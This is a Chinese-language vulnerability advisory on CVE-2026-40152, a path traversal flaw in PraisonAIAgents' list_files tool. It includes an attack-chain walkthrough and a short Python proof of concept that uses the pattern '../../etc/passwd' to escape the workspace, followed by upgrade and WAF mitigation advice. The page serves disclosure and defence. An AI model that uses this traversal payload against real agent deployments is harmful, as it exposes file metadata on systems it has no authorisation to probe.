IPBUF安全漏洞报告
English
CVE-2026-40152 CVSS 5.3 中危

CVE-2026-40152 PraisonAIAgents 任意文件枚举漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-40152
漏洞类型
路径遍历
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PraisonAIAgents

相关标签

路径遍历信息泄露PraisonAIAgentsCVE-2026-40152Python

漏洞概述

PraisonAIAgents 是一个多智能体团队系统。在 1.5.128 版本之前,FileTools 中的 list_files() 工具虽然通过 _validate_path() 验证了目录参数,但将 pattern 参数直接传递给 Path.glob() 而未进行任何验证。由于 Python 的 Path.glob() 支持 .. 路径段,攻击者可以利用相对路径遍历来枚举工作区之外的任意文件,获取文件系统上任意路径的文件元数据(如存在性、名称、大小、时间戳)。该漏洞在 1.5.128 版本中已修复。

技术细节

该漏洞的根本原因在于输入验证的不完整性。PraisonAIAgents 的 FileTools 组件中,`list_files()` 函数虽然对 `directory` 参数实施了边界检查,防止了通过目录参数进行的路径穿越,但却遗漏了对 `pattern` 参数的过滤。由于 Python 的 `pathlib.Path.glob()` 方法在解析模式时会处理 `..` 符号,攻击者可以构造包含 `..` 的恶意模式字符串。当程序执行 glob 操作时,这些相对路径会被解析为绝对路径,从而跳出预设的工作区目录。这使得攻击者能够遍历服务器上的任意目录,获取文件的存在性、大小和修改时间等敏感元数据,造成严重的信息泄露风险。攻击者无需认证即可利用此漏洞,且无需用户交互,通过构造特定的网络请求即可探测系统文件结构。

攻击链分析

STEP 1
步骤1:侦察
攻击者识别出目标系统正在运行受影响版本的 PraisonAIAgents(< 1.5.128)。
STEP 2
步骤2:构造恶意请求
攻击者向 `list_files` 工具接口发送请求,保留合法的 `directory` 参数,但在 `pattern` 参数中注入包含 `../` 的路径遍历序列(例如 `../../etc/passwd`)。
STEP 3
步骤3:服务端处理
服务器验证 `directory` 参数通过后,将未经过滤的 `pattern` 参数直接传递给 Python 的 `Path.glob()` 函数。
STEP 4
步骤4:路径解析与遍历
`Path.glob()` 解析 `../` 序列,将文件查找操作重定向到工作区之外的父目录或系统敏感目录。
STEP 5
步骤5:信息泄露
应用程序返回目标文件的元数据(如文件名、大小、时间戳),攻击者据此确认文件是否存在并收集敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os from pathlib import Path # Simulating the vulnerable behavior in PraisonAIAgents prior to 1.5.128 # This demonstrates how an unvalidated pattern leads to path traversal def vulnerable_list_files(directory, pattern): # In the vulnerable code, directory is validated, but pattern is not. # The pattern is passed directly to Path.glob() target_path = Path(directory) results = [] # Path.glob() resolves '..' in the pattern, allowing traversal for p in target_path.glob(pattern): if p.is_file(): results.append({ "name": p.name, "path": str(p.resolve()), "size": p.stat().st_size }) return results # Exploit Scenario workspace = "/app/workspace" # Malicious input: using '../' to escape the workspace # This attempts to list /etc/passwd if the workspace is /app/workspace malicious_pattern = "../../etc/passwd" print(f"[*] Attempting to list files in '{workspace}' with pattern: '{malicious_pattern}'") # Note: This code is for analysis purposes only. # Actual execution depends on the file system structure. try: leaked_files = vulnerable_list_files(workspace, malicious_pattern) if leaked_files: print("[!] Vulnerability exploited! Found files:") for f in leaked_files: print(f" - Path: {f['path']}, Size: {f['size']}") else: print("[-] No files found or path does not exist.") except Exception as e: print(f"Error: {e}")

影响范围

PraisonAIAgents < 1.5.128

防御指南

临时缓解措施
建议立即将组件升级至修复版本 1.5.128。若无法立即升级,应实施网络访问控制,限制对 `list_files` 功能的调用来源,或部署 WAF 规则检测并拦截包含 `../` 或类似路径遍历特征的请求参数。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表